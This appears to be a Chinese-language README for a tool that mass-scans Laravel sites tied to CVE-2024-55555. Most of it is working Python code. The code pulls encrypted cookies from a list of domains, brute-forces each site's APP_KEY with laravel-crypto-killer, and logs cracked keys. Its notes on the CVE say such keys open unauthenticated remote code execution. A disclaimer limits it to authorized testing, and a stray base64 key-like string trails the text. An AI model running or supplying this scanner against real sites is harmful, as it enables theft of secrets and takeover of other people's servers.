Laravel Crypto Killer 批量扫描器
一个高效的批量扫描工具,专门用于检测 Laravel 应用中与 CVE-2024-55555 相关的安全漏洞。该工具通过分析目标站点的加密 Cookie,自动尝试破解 APP_KEY,并验证目标是否存在未认证远程代码执行风险。
功能特性
- 批量域名扫描 :从
list.txt读取目标列表,支持高并发检测 - 智能 Cookie 分析 :自动排除
XSRF-TOKEN,选择最长的 Cookie 值作为加密会话数据 - 密钥破解集成 :调用
laravel-crypto-killer进行离线暴力破解,还原APP_KEY - 结果持久化 :成功破解的密钥以
域名|base64:密钥格式保存至result.txt - CVE-2024-55555 专项检测 :专注于 Invoice Ninja 等 Laravel 应用中因
APP_KEY泄露导致的 RCE 漏洞
安装指南
系统要求
- Python 3.6 或更高版本
- 可访问互联网(用于发送 HTTP 请求)
依赖项安装
bash
# 克隆项目
git clone https://github.com/your-repo/laravel-crypto-mass-scanner.git
cd laravel-crypto-mass-scanner
# 安装 Python 依赖
pip install requests
配置 laravel-crypto-killer
本工具依赖 laravel-crypto-killer 进行密钥破解,请先完成其安装:
bash
git clone https://github.com/synacktiv/laravel-crypto-killer.git
cd laravel-crypto-killer
pip install -r requirements.txt
注意 :确保
laravel_crypto_killer.py文件与扫描脚本在同一目录下,或已正确配置系统路径。
准备字典文件
在 laravel-crypto-killer/wordlists/ 目录下准备常用 APP_KEY 字典(格式为 base64: 开头的密钥字符串)。
使用说明
基础用法
-
准备目标列表
创建list.txt文件,每行一个域名(无需协议前缀):example.com
invoice.ninja.target.com
laravel-app.example.org -
运行扫描脚本
bash
python3 mass_laravel_crypto_bruteforce.py
- 查看结果
成功破解的密钥将输出到终端并保存至 result.txt:
bash
[+] Key found for example.com: base64:RR++yb2rJ9kdtbrh3+AmbHLDtu+Q79i++co9Y8ybbno=
核心工作流程
- 脚本读取
list.txt中的域名 - 对每个域名发送 HTTP 请求,获取响应中的 Cookies
- 排除
XSRF-TOKEN,选择值最长的 Cookie 作为加密会话 - 调用
laravel_crypto_killer.py bruteforce子命令尝试破解 - 从破解输出中提取
Key,若成功则保存结果
API 概览
| 函数名 | 说明 |
|---|---|
normalize_url(domain) |
为域名添加 https:// 协议前缀 |
extract_likely_token(cookies) |
从 Cookies 中选择最可能的加密令牌 |
bruteforce_token(token) |
调用 laravel-crypto-killer 进行破解 |
extract_key(output) |
从破解输出中提取 base64: 格式的密钥 |
check_domain(domain) |
单个目标检测的完整流程 |
main() |
主函数,支持线程池并发扫描(默认 10 线程) |
核心代码
1. Cookie 分析与令牌提取
python
def extract_likely_token(cookies):
"""
从响应 Cookies 中提取最可能包含加密数据的令牌。
排除 XSRF-TOKEN,选择值长度最长的 Cookie。
"""
token_candidates = {
k: v for k, v in cookies.items()
if k.upper() != "XSRF-TOKEN"
}
if token_candidates:
likely = max(token_candidates.items(), key=lambda item: len(item[1]))
return likely[1]
return None
2. 密钥暴力破解调用
python
def bruteforce_token(token):
"""
调用 laravel-crypto-killer 工具对令牌进行离线破解。
执行命令: python3 laravel_crypto_killer.py bruteforce -v <token>
"""
try:
cmd = [
"python3",
"laravel_crypto_killer.py",
"bruteforce",
"-v",
token
]
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout
except Exception as e:
return str(e)
3. 结果解析与保存
python
def extract_key(output):
"""
从 laravel-crypto-killer 的输出中提取破解得到的 APP_KEY。
匹配格式: Key : base64:xxxxxxxx
"""
match = re.search(r"Key\s*:\s*(base64:[A-Za-z0-9+/=]+)", output)
return match.group(1) if match else None
def check_domain(domain):
"""
单个域名的完整检测流程:
1. 发送请求获取 Cookie
2. 提取加密令牌
3. 调用破解工具
4. 保存成功的密钥到 result.txt
"""
url = normalize_url(domain)
response = requests.get(url, headers=headers, timeout=10)
token = extract_likely_token(response.cookies)
if token:
output = bruteforce_token(token)
key = extract_key(output)
if key:
domain_name = urlparse(url).netloc
with lock:
with open(result_file, "a") as f:
f.write(f"{domain_name}|{key}\n")
4. 并发扫描主函数
python
def main():
with open("list.txt", "r") as f:
targets = [line.strip() for line in f if line.strip()]
# 使用线程池实现并发,max_workers 控制并发数
with ThreadPoolExecutor(max_workers=10) as executor:
executor.map(check_domain, targets)
关于 CVE-2024-55555
- 漏洞类型:未认证远程代码执行 (Unauthenticated RCE)
- 受影响产品:Invoice Ninja 及配置不当的 Laravel 应用
- 根本原因 :
APP_KEY可被猜测或已知,攻击者可加密恶意 payload 触发反序列化 - 官方参考 :Synacktiv 安全公告
免责声明
本工具仅用于教育目的和授权安全测试。未经明确许可,严禁对任何系统使用本工具。用户须自行承担因使用本工具造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/6BpsvITrVoO3TPOqAaF6Oc=